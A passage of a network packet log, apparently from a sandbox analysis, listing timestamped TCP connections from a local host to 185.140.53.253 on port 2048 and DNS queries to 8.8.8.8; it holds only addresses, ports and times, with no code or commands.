Jan 19, 2021 17:15:50.594855070 CET	2048	49814	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:51.099102974 CET	49814	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:51.149003983 CET	2048	49814	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:51.649154902 CET	49814	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:51.697978973 CET	2048	49814	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:51.790765047 CET	49815	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:51.839683056 CET	2048	49815	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:52.341197968 CET	49815	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:52.389939070 CET	2048	49815	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:52.890201092 CET	49815	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:52.939223051 CET	2048	49815	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:54.063055038 CET	49816	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:54.111851931 CET	2048	49816	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:54.612349033 CET	49816	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:15:54.661020041 CET	2048	49816	185.140.53.253	192.168.2.4
Jan 19, 2021 17:15:55.161433935 CET	49816	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:07.267087936 CET	49817	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:07.315836906 CET	2048	49817	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:07.824282885 CET	49817	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:07.872931957 CET	2048	49817	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:08.373500109 CET	49817	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:08.422473907 CET	2048	49817	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:09.530867100 CET	49818	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:09.579762936 CET	2048	49818	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:10.079441071 CET	49818	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:10.129074097 CET	2048	49818	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:10.629468918 CET	49818	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:10.678231955 CET	2048	49818	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:10.825434923 CET	49819	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:10.874412060 CET	2048	49819	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:11.375587940 CET	49819	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:11.424299002 CET	2048	49819	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:11.925585985 CET	49819	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:11.974176884 CET	2048	49819	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:13.115726948 CET	49820	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:13.164551973 CET	2048	49820	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:13.665899992 CET	49820	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:13.717793941 CET	2048	49820	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:14.218739033 CET	49820	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:14.268801928 CET	2048	49820	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:14.362066031 CET	49821	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:14.411828995 CET	2048	49821	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:14.912787914 CET	49821	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:14.961750031 CET	2048	49821	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:15.462830067 CET	49821	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:15.511442900 CET	2048	49821	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:16.617645979 CET	49822	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:16.666311026 CET	2048	49822	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:17.170968056 CET	49822	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:17.219676971 CET	2048	49822	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:17.722001076 CET	49822	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:17.770651102 CET	2048	49822	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:17.877038956 CET	49823	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:17.925705910 CET	2048	49823	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:18.428086042 CET	49823	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:18.477061987 CET	2048	49823	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:18.978523970 CET	49823	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:19.027163029 CET	2048	49823	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:20.140363932 CET	49824	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:20.190323114 CET	2048	49824	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:20.691201925 CET	49824	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:20.742654085 CET	2048	49824	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:21.244249105 CET	49824	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:21.293541908 CET	2048	49824	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:21.394563913 CET	49825	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:21.443830967 CET	2048	49825	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:21.945322037 CET	49825	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:21.994193077 CET	2048	49825	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:22.497345924 CET	49825	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:22.546097994 CET	2048	49825	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:23.645859003 CET	49826	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:23.694377899 CET	2048	49826	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:24.195456028 CET	49826	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:24.244297028 CET	2048	49826	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:24.745487928 CET	49826	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:24.794419050 CET	2048	49826	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:24.898195982 CET	49827	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:24.947168112 CET	2048	49827	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:25.449575901 CET	49827	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:25.498455048 CET	2048	49827	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:26.001635075 CET	49827	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:26.051074982 CET	2048	49827	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:27.160579920 CET	49828	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:27.209265947 CET	2048	49828	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:27.710757971 CET	49828	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:27.759711027 CET	2048	49828	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:28.260755062 CET	49828	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:28.309521914 CET	2048	49828	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:28.431725979 CET	49829	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:28.480865002 CET	2048	49829	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:28.982815027 CET	49829	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:29.031583071 CET	2048	49829	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:29.533844948 CET	49829	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:29.582804918 CET	2048	49829	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:30.710798025 CET	49830	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:30.759699106 CET	2048	49830	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:31.266053915 CET	49830	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:31.314723969 CET	2048	49830	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:31.816133022 CET	49830	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:31.864936113 CET	2048	49830	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:31.986588955 CET	49831	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:32.035357952 CET	2048	49831	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:32.536149979 CET	49831	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:32.584968090 CET	2048	49831	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:33.086185932 CET	49831	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:33.135014057 CET	2048	49831	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:34.267292976 CET	49832	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:34.315853119 CET	2048	49832	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:34.818244934 CET	49832	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:34.867136002 CET	2048	49832	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:35.369282007 CET	49832	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:35.421201944 CET	2048	49832	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:35.538539886 CET	49833	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:35.587181091 CET	2048	49833	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:36.089318037 CET	49833	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:36.138000965 CET	2048	49833	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:36.639357090 CET	49833	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:36.688285112 CET	2048	49833	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:37.839185953 CET	49834	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:37.887875080 CET	2048	49834	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:38.389497042 CET	49834	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:38.438075066 CET	2048	49834	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:38.939562082 CET	49834	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:38.988430977 CET	2048	49834	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:39.114140034 CET	49835	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:39.162856102 CET	2048	49835	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:39.663616896 CET	49835	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:39.712542057 CET	2048	49835	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:40.213654041 CET	49835	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:40.262459040 CET	2048	49835	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:41.370666027 CET	49836	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:41.421585083 CET	2048	49836	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:41.922739029 CET	49836	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:41.971318960 CET	2048	49836	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:42.471807003 CET	49836	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:42.521040916 CET	2048	49836	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:42.640964985 CET	49837	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:42.690661907 CET	2048	49837	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:43.191869020 CET	49837	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:43.241532087 CET	2048	49837	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:43.742932081 CET	49837	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:43.791527987 CET	2048	49837	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:44.898953915 CET	49838	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:44.947829008 CET	2048	49838	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:45.450001001 CET	49838	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:45.498862028 CET	2048	49838	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:46.000051022 CET	49838	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:46.049122095 CET	2048	49838	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:46.156135082 CET	49839	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:46.205017090 CET	2048	49839	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:46.706207037 CET	49839	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:46.755491018 CET	2048	49839	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:47.257232904 CET	49839	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:47.305886030 CET	2048	49839	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:48.406121969 CET	49840	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:48.454880953 CET	2048	49840	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:48.956327915 CET	49840	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:49.005206108 CET	2048	49840	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:49.515371084 CET	49840	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:49.564280987 CET	2048	49840	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:49.622981071 CET	49841	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:49.671555042 CET	2048	49841	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:50.171363115 CET	49841	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:50.220213890 CET	2048	49841	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:50.721426010 CET	49841	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:50.770067930 CET	2048	49841	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:51.821049929 CET	49842	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:51.869987965 CET	2048	49842	185.140.53.253	192.168.2.4
Jan 19, 2021 17:16:52.372054100 CET	49842	2048	192.168.2.4	185.140.53.253
Jan 19, 2021 17:16:52.421493053 CET	2048	49842	185.140.53.253	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 19, 2021 17:14:09.943872929 CET	54531	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:09.991911888 CET	53	54531	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:13.155688047 CET	49714	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:13.220169067 CET	53	49714	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:13.979582071 CET	58028	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:14.027462959 CET	53	58028	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:17.661808014 CET	53097	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:17.709897995 CET	53	53097	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:20.323478937 CET	49257	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:20.374639988 CET	53	49257	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:21.239258051 CET	62389	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:21.313652992 CET	53	62389	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:22.696815968 CET	49910	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:22.759778976 CET	53	49910	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:23.976702929 CET	55854	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:24.036922932 CET	53	55854	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:26.234143972 CET	64549	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:26.292227030 CET	53	64549	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:27.468760014 CET	63153	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:27.530553102 CET	53	63153	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:28.525441885 CET	52991	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:28.573491096 CET	53	52991	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:29.706235886 CET	53700	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:29.762629986 CET	53	53700	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:30.943011999 CET	51726	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:30.999347925 CET	53	51726	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:32.434756994 CET	56794	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:32.497320890 CET	53	56794	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:33.177584887 CET	56534	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:33.234193087 CET	53	56534	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:34.407461882 CET	56627	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:34.473480940 CET	53	56627	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:36.651421070 CET	56621	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:36.710648060 CET	53	56621	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:37.950375080 CET	63116	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:38.008048058 CET	53	63116	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:38.802968025 CET	64078	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:38.853876114 CET	53	64078	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:40.318720102 CET	64801	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:40.366662979 CET	53	64801	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:41.578357935 CET	61721	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:41.635349989 CET	53	61721	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:41.706896067 CET	51255	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:41.757658958 CET	53	51255	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:42.979298115 CET	61522	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:43.030193090 CET	53	61522	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:43.866233110 CET	52337	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:43.922911882 CET	53	52337	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:44.424381018 CET	55046	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:44.472414017 CET	53	55046	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:45.117981911 CET	49612	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:45.174139023 CET	53	49612	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:46.598598957 CET	49285	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:46.655139923 CET	53	49285	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:46.966098070 CET	50601	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:47.069701910 CET	53	50601	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:47.368578911 CET	60875	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:47.432704926 CET	53	60875	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:47.949451923 CET	56448	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:48.010569096 CET	53	56448	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:48.242711067 CET	59172	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:48.293348074 CET	53	59172	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:48.415158033 CET	62420	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:48.487011909 CET	53	62420	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:48.686530113 CET	60579	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:48.743086100 CET	53	60579	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:48.985090017 CET	50183	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:49.046729088 CET	53	50183	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:49.499128103 CET	61531	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:49.550054073 CET	53	61531	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:49.821460962 CET	49228	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:49.885998011 CET	53	49228	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:50.204355955 CET	59794	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:50.252202988 CET	53	59794	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:50.634546995 CET	55916	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:50.682677031 CET	53	55916	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:50.708967924 CET	52752	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:50.773046970 CET	53	52752	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:50.952425003 CET	60542	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:51.014060020 CET	53	60542	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:51.776447058 CET	60689	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:51.832902908 CET	53	60689	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:52.201205015 CET	64206	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:52.257812977 CET	53	64206	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:52.861074924 CET	50904	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:52.922400951 CET	53	50904	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:54.148149967 CET	57525	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:54.209078074 CET	53	57525	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:54.446244001 CET	53814	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:54.496059895 CET	53	53814	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:55.638669968 CET	53418	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:55.690269947 CET	62833	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:55.700361967 CET	53	53418	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:55.746643066 CET	53	62833	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:56.515439987 CET	59260	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:56.574630022 CET	53	59260	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:58.136776924 CET	49944	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:58.197926998 CET	53	49944	8.8.8.8	192.168.2.4
Jan 19, 2021 17:14:59.487055063 CET	63300	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:14:59.548501015 CET	53	63300	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:01.789062023 CET	61449	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:01.845561981 CET	53	61449	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:03.039455891 CET	51275	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:03.095740080 CET	53	51275	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:03.356487036 CET	63492	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:03.407774925 CET	53	63492	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:03.575505972 CET	58945	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:03.647437096 CET	53	58945	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:05.269073963 CET	60779	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:06.307902098 CET	64014	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:06.311877966 CET	60779	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:06.368491888 CET	53	60779	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:06.373554945 CET	53	64014	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:07.562407970 CET	57091	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:07.610485077 CET	53	57091	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:09.798381090 CET	55904	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:09.849160910 CET	53	55904	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:11.032475948 CET	52109	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:11.093702078 CET	53	52109	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:11.847198009 CET	54450	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:11.895070076 CET	53	54450	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:13.283751965 CET	49374	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:13.325629950 CET	50436	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:13.343240023 CET	53	49374	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:13.373994112 CET	53	50436	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:14.540656090 CET	62605	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:14.597177029 CET	53	62605	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:17.596970081 CET	54256	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:17.655365944 CET	53	54256	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:22.760082960 CET	52189	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:22.808008909 CET	53	52189	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:28.757800102 CET	56131	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:28.815994978 CET	53	56131	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:30.019778013 CET	62992	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:30.076164007 CET	53	62992	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:31.292248964 CET	54432	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:31.343381882 CET	53	54432	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:32.084727049 CET	57227	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:32.135871887 CET	53	57227	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:32.265638113 CET	58383	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:32.326874018 CET	53	58383	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:32.952282906 CET	63136	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:33.000319004 CET	53	63136	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:33.506709099 CET	50911	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:33.564708948 CET	53	50911	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:35.407144070 CET	63409	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:35.457967997 CET	53	63409	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:35.753662109 CET	59185	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:35.809885979 CET	53	59185	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:37.014866114 CET	64236	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:37.073565960 CET	53	64236	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:37.626287937 CET	56157	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:37.677510023 CET	53	56157	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:39.257890940 CET	55601	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:39.317043066 CET	53	55601	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:39.366555929 CET	52984	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:39.427902937 CET	53	52984	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:40.498341084 CET	51141	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:40.546051025 CET	53	51141	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:42.731714010 CET	53610	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:42.791768074 CET	53	53610	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:43.980668068 CET	61247	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:44.036858082 CET	53	61247	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:46.222735882 CET	65165	53	192.168.2.4	8.8.8.8
Jan 19, 2021 17:15:46.287039042 CET	53	65165	8.8.8.8	192.168.2.4
Jan 19, 2021 17:15:47.490364075 CET	52076	53	192.168.2.4	8.8.8.8
